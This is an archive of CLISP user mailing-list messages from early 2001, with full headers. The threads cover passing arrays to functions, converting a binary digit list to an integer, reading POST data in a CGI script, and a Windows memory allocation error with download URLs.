(PHNE_18546)/8.9.3) with ESMTP id PAA12379 for ; Tue, 20 Feb 2001 15:03:18 -0600 (CST) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Tue, 20 Feb 2001 15:03:18 -0600 Message-ID: From: "Justice, Randy -CONT" To: clisp-list@lists.sourceforge.net Date: Tue, 20 Feb 2001 15:03:17 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C09B80.8C16FD90" Subject: [clisp-list] array-help Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C09B80.8C16FD90 Content-Type: text/plain; charset="iso-8859-1" Hi. Can some explain? I have an 2D array. I pass the array to a function. It function changes the array that is passed to the function. It looks like a array is passed as a reference not a values. Is their a method to pass arrays as values? See code example... (if needed) Sorry to ask such a simple question. I don't have access to newsgroups. (defun testone (tt value) (let* ((ltt tt ) ) (print 'ltt) (print ltt) (print 'tt) (print tt) (setf (aref ltt 0 0) value) (print ltt) (print tt) (print txy) nil ) ) 4. Break [28]> txy #2A((14 1 8) (2 7 1) (5 2 4)) 4. Break [28]> (testone txy 1 ) LTT #2A((14 1 8) (2 7 1) (5 2 4)) TT #2A((14 1 8) (2 7 1) (5 2 4)) #2A((1 1 8) (2 7 1) (5 2 4)) #2A((1 1 8) (2 7 1) (5 2 4)) #2A((1 1 8) (2 7 1) (5 2 4)) NIL ------_=_NextPart_001_01C09B80.8C16FD90 Content-Type: text/html; charset="iso-8859-1" array-help

Hi.

Can some explain?

I have an 2D array. I pass the array to a function.

It function changes the array that is passed to the function.

It looks like a array is passed as a reference not a values.

Is their a method to pass arrays as values?

See code example... (if needed) Sorry to ask such a simple question.
I don't have access to newsgroups.



(defun testone (tt value)
  (let* ((ltt tt )
       )
 
  (print 'ltt)
  (print ltt)
  (print 'tt)
  (print tt)


  (setf (aref ltt 0 0) value)
  (print ltt)
  (print tt)
  (print txy)
  nil
  )
)



4. Break [28]> txy
#2A((14 1 8) (2 7 1) (5 2 4))
4. Break [28]> (testone txy 1 )

LTT
#2A((14 1 8) (2 7 1) (5 2 4))
TT
#2A((14 1 8) (2 7 1) (5 2 4))
#2A((1 1 8) (2 7 1) (5 2 4))
#2A((1 1 8) (2 7 1) (5 2 4))
#2A((1 1 8) (2 7 1) (5 2 4))
NIL

------_=_NextPart_001_01C09B80.8C16FD90-- From bernardp@cli.di.unipi.it Tue Feb 20 14:20:42 2001 Received: from crudelia.cli.di.unipi.it ([131.114.11.37] helo=mailserver.cli.di.unipi.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14VL9F-0000wn-00 for ; Tue, 20 Feb 2001 14:20:41 -0800 Organization: Centro di Calcolo - Dipartimento di Informatica di Pisa - Italy Received: from fire.cli.di.unipi.it (fire-ext.cli.di.unipi.it [131.114.11.52]) by mailserver.cli.di.unipi.it (8.9.3/8.9.3) with SMTP id XAA19726 for ; Tue, 20 Feb 2001 23:15:18 +0100 Received: (qmail 31125 invoked by uid 7794); 20 Feb 2001 22:21:37 -0000 Received: from carlotta.cli.di.unipi.it(131.114.11.15) via SMTP by crudelia.cli.di.unipi.it, id smtpda30545; Tue Feb 20 23:19:09 2001 Received: from localhost (bernardp@localhost) by carlotta.cli.di.unipi.it (8.8.5/8.6.12) with SMTP id XAA00714; Tue, 20 Feb 2001 23:19:30 +0100 (MET) X-Authentication-Warning: carlotta.cli.di.unipi.it: bernardp owned process doing -bs Date: Tue, 20 Feb 2001 23:19:30 +0100 (MET) From: Pierpaolo BERNARDI To: "Justice, Randy -CONT" cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] array-help In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Tue, 20 Feb 2001, Justice, Randy -CONT wrote: > Hi. > > Can some explain? > > I have an 2D array. I pass the array to a function. > > It function changes the array that is passed to the function. > > It looks like a array is passed as a reference not a values. > > Is their a method to pass arrays as values? No (using your terminology). If you want a copy of the array, you must do it yourself. However, note that your terminology is not correct and is likely to cause confusion. In Lisp you can only pass _values_ to functions, as references are not first class. P. > (defun testone (tt value) 8-) From sds@gnu.org Tue Feb 20 14:59:03 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14VLkN-0003XQ-00 for ; Tue, 20 Feb 2001 14:59:03 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id RAA09309; Tue, 20 Feb 2001 18:00:00 -0500 (EST) X-Envelope-To: To: "Justice, Randy -CONT" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] array-help References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 20 Feb 2001 17:58:58 -0500 Message-ID: Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.99 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] array-help" > * Sent on Tue, 20 Feb 2001 15:03:17 -0600 > * Honorable "Justice, Randy -CONT" writes: > > It looks like a array is passed as a reference not a values. > Is their a method to pass arrays as values? nope, you will have to explicitly copy the array. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on There are 3 kinds of people: those who can count and those who cannot. From Randy.Justice@cnet.navy.mil Wed Feb 21 06:46:22 2001 Received: from penu1268.cnet.navy.mil ([160.125.255.140] helo=smtp.cnet.navy.mil) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14VaX8-000176-00 for ; Wed, 21 Feb 2001 06:46:22 -0800 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by smtp.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id IAA25645; Wed, 21 Feb 2001 08:47:13 -0600 (CST) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Wed, 21 Feb 2001 08:47:15 -0600 Message-ID: From: "Justice, Randy -CONT" To: "'sds@gnu.org'" Cc: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] array-help Date: Wed, 21 Feb 2001 08:47:14 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C09C15.2DE0FE20" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C09C15.2DE0FE20 Content-Type: text/plain; charset="iso-8859-1" Thanks for the information. Randy -----Original Message----- From: Sam Steingold [mailto:sds@gnu.org] Sent: Tuesday, February 20, 2001 4:59 PM To: Justice, Randy -CONT Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] array-help > * In message > * On the subject of "[clisp-list] array-help" > * Sent on Tue, 20 Feb 2001 15:03:17 -0600 > * Honorable "Justice, Randy -CONT" writes: > > It looks like a array is passed as a reference not a values. > Is their a method to pass arrays as values? nope, you will have to explicitly copy the array. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on There are 3 kinds of people: those who can count and those who cannot. ------_=_NextPart_001_01C09C15.2DE0FE20 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [clisp-list] array-help

Thanks for the information.

Randy


-----Original Message-----
From: Sam Steingold [mailto:sds@gnu.org]
Sent: Tuesday, February 20, 2001 4:59 PM
To: Justice, Randy -CONT
Cc: clisp-list@lists.sourceforge.net
Subject: Re: [clisp-list] array-help


> * In message = <B4CA1F5D8D23D411ADC7009027E791BF013ED043@pens0394.cnet.navy.Mil><= /FONT>
> * On the subject of "[clisp-list] = array-help"
> * Sent on Tue, 20 Feb 2001 15:03:17 = -0600
> * Honorable "Justice, Randy -CONT" = <Randy.Justice@cnet.navy.mil> writes:
>
> It looks like a array is passed as a reference = not a values.
> Is their a method to pass arrays as values? =

nope, you will have to explicitly copy the = array.

--
Sam Steingold (http://www.podval.org/~sds)
Support Israel's right to defend herself! <http://www.i-charity.com/go/israel>
Read what the Arab leaders say to their people on = <http://www.memri.org/>
There are 3 kinds of people: those who can count and = those who cannot.

------_=_NextPart_001_01C09C15.2DE0FE20-- From Randy.Justice@cnet.navy.mil Mon Feb 26 06:05:18 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14XOGd-0002do-00 for ; Mon, 26 Feb 2001 06:04:47 -0800 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id IAA24720 for ; Mon, 26 Feb 2001 08:05:25 -0600 (CST) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Mon, 26 Feb 2001 08:05:27 -0600 Message-ID: From: "Justice, Randy -CONT" To: clisp-list@lists.sourceforge.net Date: Mon, 26 Feb 2001 08:05:25 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C09FFD.2ACAA600" Subject: [clisp-list] List conversion and string eval Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C09FFD.2ACAA600 Content-Type: text/plain; charset="iso-8859-1" Hi. I am having a difficult time converting a list to "string"-- my real goal is to a number. I have a list of 1 and 0s. An example is (1 0 1). This is a binary number not a base 10 number. How do I get the list to the form of "#B101". I have tried to place the "nth" element to a string. 4. Break [6]> (setf (aref s 0) (nth 0 x)) *** - SYSTEM::STORE: 0 does not fit into " ", bad type where x is ( 1 0 1) and s is string of length 5 I am not sure this will get me to my goal. I have tried to "eval" a string without luck. What is the trick to this? 10. Break [12]> (setf t1 "#b101") "#b101" 10. Break [12]> t1 "#b101" 10. Break [12]> (eval t1) "#b101" Thanks in advance.... Randy Justice ------_=_NextPart_001_01C09FFD.2ACAA600 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable List conversion and string eval

Hi.

I am having a difficult time converting a list to = "string"-- my real goal is to a number.

I have a list of 1 and 0s. An example is (1 0 = 1).  This is a binary number not a base 10 number.

How do I get the list to the form of = "#B101".  I have tried to place the "nth" = element to a string.
     
4. Break [6]> (setf (aref s 0) (nth 0 x))

*** - SYSTEM::STORE: 0 does not fit into = "     ", bad type

where x is ( 1 0 1)
and   s is string of length 5


I am not sure this will get me to my goal.  I = have tried to "eval" a string without luck.
What is the trick to this?

10. Break [12]> (setf t1 "#b101")
"#b101"
10. Break [12]> t1
"#b101"
10. Break [12]> (eval t1)
"#b101"


Thanks in advance....

Randy Justice








------_=_NextPart_001_01C09FFD.2ACAA600-- From sds@gnu.org Mon Feb 26 08:09:08 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14XQCx-0005uh-00 for ; Mon, 26 Feb 2001 08:09:07 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA03917; Mon, 26 Feb 2001 11:10:00 -0500 (EST) X-Envelope-To: To: "Justice, Randy -CONT" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] List conversion and string eval References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 26 Feb 2001 11:09:23 -0500 Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.99 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] List conversion and string eval" > * Sent on Mon, 26 Feb 2001 08:05:25 -0600 > * Honorable "Justice, Randy -CONT" writes: > > I have a list of 1 and 0s. An example is (1 0 1). This is a binary > number not a base 10 number. please see `poly' in clocc/src/cllib/math.lisp () (reduce (lambda (r d) (+ (* r 2) d)) '(1 0 1) :initial-value 0) ==> 5 -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on ((lambda (x) (list x (list 'quote x))) '(lambda (x) (list x (list 'quote x)))) From Randy.Justice@cnet.navy.mil Mon Feb 26 08:36:36 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14XQd2-0000F6-00 for ; Mon, 26 Feb 2001 08:36:05 -0800 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id KAA04497; Mon, 26 Feb 2001 10:36:33 -0600 (CST) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Mon, 26 Feb 2001 10:36:35 -0600 Message-ID: From: "Justice, Randy -CONT" To: "'sds@gnu.org'" , "Justice, Randy -CONT" Cc: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] List conversion and string eval Date: Mon, 26 Feb 2001 10:36:34 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0A012.483014E0" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0A012.483014E0 Content-Type: text/plain; charset="iso-8859-1" Thanks... I will check out the web page. Thanks again.. Randy -----Original Message----- From: Sam Steingold [mailto:sds@gnu.org] Sent: Monday, February 26, 2001 10:09 AM To: Justice, Randy -CONT Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] List conversion and string eval > * In message > * On the subject of "[clisp-list] List conversion and string eval" > * Sent on Mon, 26 Feb 2001 08:05:25 -0600 > * Honorable "Justice, Randy -CONT" writes: > > I have a list of 1 and 0s. An example is (1 0 1). This is a binary > number not a base 10 number. please see `poly' in clocc/src/cllib/math.lisp () (reduce (lambda (r d) (+ (* r 2) d)) '(1 0 1) :initial-value 0) ==> 5 -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on ((lambda (x) (list x (list 'quote x))) '(lambda (x) (list x (list 'quote x)))) ------_=_NextPart_001_01C0A012.483014E0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [clisp-list] List conversion and string eval

Thanks...

I will check out the web page.

Thanks again..


Randy
-----Original Message-----
From: Sam Steingold [mailto:sds@gnu.org]
Sent: Monday, February 26, 2001 10:09 AM
To: Justice, Randy -CONT
Cc: clisp-list@lists.sourceforge.net
Subject: Re: [clisp-list] List conversion and string = eval


> * In message = <B4CA1F5D8D23D411ADC7009027E791BF013ED071@pens0394.cnet.navy.Mil><= /FONT>
> * On the subject of "[clisp-list] List = conversion and string eval"
> * Sent on Mon, 26 Feb 2001 08:05:25 = -0600
> * Honorable "Justice, Randy -CONT" = <Randy.Justice@cnet.navy.mil> writes:
>
> I have a list of 1 and 0s. An example is (1 0 = 1).  This is a binary
> number not a base 10 number.

please see `poly' in clocc/src/cllib/math.lisp
(<http://www.podval.org/~sds/data/cllib.html>)

 (reduce (lambda (r d) (+ (* r 2) d)) '(1 0 1) = :initial-value 0)
        = =3D=3D> 5


--
Sam Steingold (http://www.podval.org/~sds)
Support Israel's right to defend herself! <http://www.i-charity.com/go/israel>
Read what the Arab leaders say to their people on = <http://www.memri.org/>
((lambda (x) (list x (list 'quote x))) '(lambda (x) = (list x (list 'quote x))))

------_=_NextPart_001_01C0A012.483014E0-- From chas@lib.uchicago.edu Fri Mar 02 12:56:04 2001 Received: from an.lib.uchicago.edu ([128.135.53.253]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14Ywaq-0005zJ-00 for ; Fri, 02 Mar 2001 12:56:04 -0800 Received: from localhost (localhost [127.0.0.1]) by an.lib.uchicago.edu (8.9.1/8.9.1) with ESMTP id OAA10794 for ; Fri, 2 Mar 2001 14:57:31 -0600 (CST) To: clisp-list@lists.sourceforge.net Reply-To: chas@uchicago.edu X-Mailer: Mew version 1.94.2 on XEmacs 21.1 (Canyonlands) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010302145730U.chas@lib.uchicago.edu> Date: Fri, 02 Mar 2001 14:57:30 -0600 From: Charles Blair X-Dispatcher: imput version 20000228(IM140) Lines: 16 Subject: [clisp-list] i'm stumped Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: i don't see this in the archives, so here goes. i'm writing a cgi-bin program in clisp, but am unsuccessful in getting the program to read standard-input when sent data using the POST method. from the command line, the program works fine. using GET i have no problems. has anyone had success with clisp using the POST method? (i am running clisp-2000-03-09 on SunOS 5.7.) From cmcurtin@interhack.net Sat Mar 03 07:13:38 2001 Received: from strangepork.interhack.net ([38.194.92.68]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14ZDj0-00034A-00 for ; Sat, 03 Mar 2001 07:13:38 -0800 Received: from animal.interhack.net (animal.interhack.net [38.194.92.69]) by strangepork.interhack.net (8.11.0/8.11.0) with ESMTP id f23FGfZ01392; Sat, 3 Mar 2001 10:16:41 -0500 (EST) Received: (from cmcurtin@localhost) by animal.interhack.net (980427.SGI.8.8.8/8.8.5) id KAA03289; Sat, 3 Mar 2001 10:15:53 -0500 (EST) To: chas@uchicago.edu Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] i'm stumped References: <20010302145730U.chas@lib.uchicago.edu> X-Face: L"IcL.b%SDN]0Kql2b`e.}+i05V9fi\yX#H1+Xl)3!+n/3?5`%-SA-HDgPk9uTk<3dv^J5DCgal)-E{`zN#*o6F|y>r)\< Date: 03 Mar 2001 10:15:52 -0500 In-Reply-To: Charles Blair's message of "Fri, 02 Mar 2001 14:57:30 -0600" Message-ID: <86n1b2g9xz.fsf@animal.interhack.net> Lines: 29 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Channel Islands) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>>>> "Charles" == Charles Blair writes: Charles> i'm writing a cgi-bin program in clisp, but am unsuccessful Charles> in getting the program to read standard-input when sent Charles> data using the POST method. from the command line, the Charles> program works fine. The working-from-the-command-line-but-not-in-cgi-bin is probably the hint at the problem. I bet that you need to stick a -norc flag in the clisp command line. I have a shell program that starts my CLISP the way that I need it to be started. So, for example, if I dump an image with my program to time.mem, I'll fire up the application thus: ------------------------------ time.sh ------------------------------- #!/bin/sh # Shell wrapper for starting timesheet CGI application # $Id$ exec /usr/local/bin/clisp -norc -M /usr/local/www/time-bin/time.mem ---------------------------------------------------------------------- Does that solve the problem? -- Matt Curtin, Founder Interhack Corporation http://www.interhack.net/ "Building the Internet, Securely." research | development | consulting From don-sourceforge@isis.compsvcs.com Tue Mar 06 10:23:34 2001 Received: from cine-dyrad.cinenet.net ([198.147.117.71] helo=isis.compsvcs.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14aM7S-00018U-00 for ; Tue, 06 Mar 2001 10:23:34 -0800 Received: (from donc@localhost) by isis.compsvcs.com (8.11.1/8.11.1) id f26IWN819536 for clisp-list@lists.sourceforge.net>; Tue, 6 Mar 2001 10:32:23 -0800 (PST) Date: Tue, 6 Mar 2001 10:32:23 -0800 (PST) Message-Id: <200103061832.f26IWN819536@isis.compsvcs.com> X-Authentication-Warning: isis.compsvcs.com: donc set sender to don-sourceforge using -f X-Authentication-Warning: isis.compsvcs.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.compsvcs.com: Processed by donc with -C /etc/mail/sendmail.cf2 From: don-sourceforge@isis.compsvcs.com (Don Cohen) To: clisp-list@lists.sourceforge.net Subject: [clisp-list] windows "ME" memory allocation problem, also download url's Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: ME = millenium edition - is that the same as Win 2000? I'm trying to run clisp 9-15-97... While I'm here, let me complain that I was unable to download a newer one starting at the ftp/www download address on clisp.sourceforge.net. There's something wrong with the urls there. I can get some stuff like http://clisp.cons.org/ but not ftp://clisp.cons.org/pub/lisp/clisp/binaries/ Anyhow, if I try to run lisp.exe I get something like this: cannot reserve address range at 0x78000000 What's the fix? From haible@ilog.fr Tue Mar 06 10:55:55 2001 Received: from panoramix.valinux.com ([198.186.202.147] helo=mail2.valinux.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14aMck-0003Z5-00 for ; Tue, 06 Mar 2001 10:55:54 -0800 Received: from sceaux.ilog.fr ([193.55.64.10]) by mail2.valinux.com with esmtp (Exim 3.16 #1 (Debian)) id 14aMeO-0008RV-00 for ; Tue, 06 Mar 2001 10:57:36 -0800 Received: from laposte.ilog.fr (cerbere-le0.ilog.fr [193.55.64.65]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id TAA08627; Tue, 6 Mar 2001 19:46:58 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.53]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id TAA12401; Tue, 6 Mar 2001 19:51:44 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id TAA28105; Tue, 6 Mar 2001 19:49:32 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15013.12603.917178.786784@honolulu.ilog.fr> Date: Tue, 6 Mar 2001 19:49:31 +0100 (CET) To: don-sourceforge@isis.compsvcs.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] windows "ME" memory allocation problem, also download url's In-Reply-To: <200103061832.f26IWN819536@isis.compsvcs.com> References: <200103061832.f26IWN819536@isis.compsvcs.com> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Don Cohen writes: > I'm trying to run clisp 9-15-97... > Anyhow, if I try to run lisp.exe I get something like this: > cannot reserve address range at 0x78000000 Upgrade. Newer CLISPs have a totally different memory allocation that works much better under Windows. > While I'm here, let me complain that I was unable to download a newer > one starting at the ftp/www download address on clisp.sourceforge.net. > There's something wrong with the urls there. I can get some stuff > like http://clisp.cons.org/ but not > ftp://clisp.cons.org/pub/lisp/clisp/binaries/ From my site, both ftp://clisp.cons.org/pub/lisp/clisp/binaries/win32/ ftp://clisp.sourceforge.net/pub/clisp/2000-03-06/ are accessible. Bruno From sds@gnu.org Tue Mar 06 11:01:21 2001 Received: from [32.97.166.31] (helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14aMi1-0003ye-00 for ; Tue, 06 Mar 2001 11:01:21 -0800 Received: from xchange.com (slip-32-100-202-19.ma.us.prserv.net[32.100.202.19]) by prserv.net (out1) with ESMTP id <2001030619025820100i0a8ae>; Tue, 6 Mar 2001 19:03:00 +0000 To: don-sourceforge@isis.compsvcs.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] windows "ME" memory allocation problem, also download url's References: <200103061832.f26IWN819536@isis.compsvcs.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200103061832.f26IWN819536@isis.compsvcs.com> Date: 06 Mar 2001 14:01:56 -0500 Message-ID: Lines: 38 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.100 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <200103061832.f26IWN819536@isis.compsvcs.com> > * On the subject of "[clisp-list] windows "ME" memory allocation problem, also download url's" > * Sent on Tue, 6 Mar 2001 10:32:23 -0800 (PST) > * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes: > > ME = millenium edition - is that the same as Win 2000? win2000 == winnt5 -- the successor to the winNT line of junk. winME -- the successor to the win3.1/3.11/95/98 line of garbage. (whistler = XP will be split into a "professional" descendant of NT and a "personal" offspring of ME). > I'm trying to run clisp 9-15-97... ouch! very old... > While I'm here, let me complain that I was unable to download a newer > one starting at the ftp/www download address on clisp.sourceforge.net. > There's something wrong with the urls there. I can get some stuff > like http://clisp.cons.org/ but not > ftp://clisp.cons.org/pub/lisp/clisp/binaries/ WFM. could you please try again? ftp://clisp.cons.org/pub/lisp/clisp/binaries/2000-03-06/clisp-win32.zip > Anyhow, if I try to run lisp.exe I get something like this: > cannot reserve address range at 0x78000000 I remember that the older versions of CLISP required an -m10M command line argument on win32. Bruno is certainly the authority to ask this question to... -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Just because you're paranoid doesn't mean they AREN'T after you. From don-sourceforge@isis.compsvcs.com Tue Mar 06 11:17:14 2001 Received: from cine-dyrad.cinenet.net ([198.147.117.71] helo=isis.compsvcs.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14aMxN-0005F3-00 for ; Tue, 06 Mar 2001 11:17:13 -0800 Received: (from donc@localhost) by isis.compsvcs.com (8.11.1/8.11.1) id f26JQ6h19612; Tue, 6 Mar 2001 11:26:06 -0800 (PST) X-Authentication-Warning: isis.compsvcs.com: donc set sender to don-sourceforge using -f X-Authentication-Warning: isis.compsvcs.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.compsvcs.com: Processed by donc with -C /etc/mail/sendmail.cf2 From: don-sourceforge@isis.compsvcs.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15013.14796.85330.135268@isis.compsvcs.com> Date: Tue, 6 Mar 2001 11:26:04 -0800 (PST) To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] windows "ME" memory allocation problem, also download url's In-Reply-To: <15013.12603.917178.786784@honolulu.ilog.fr> References: <200103061832.f26IWN819536@isis.compsvcs.com> <15013.12603.917178.786784@honolulu.ilog.fr> X-Mailer: VM 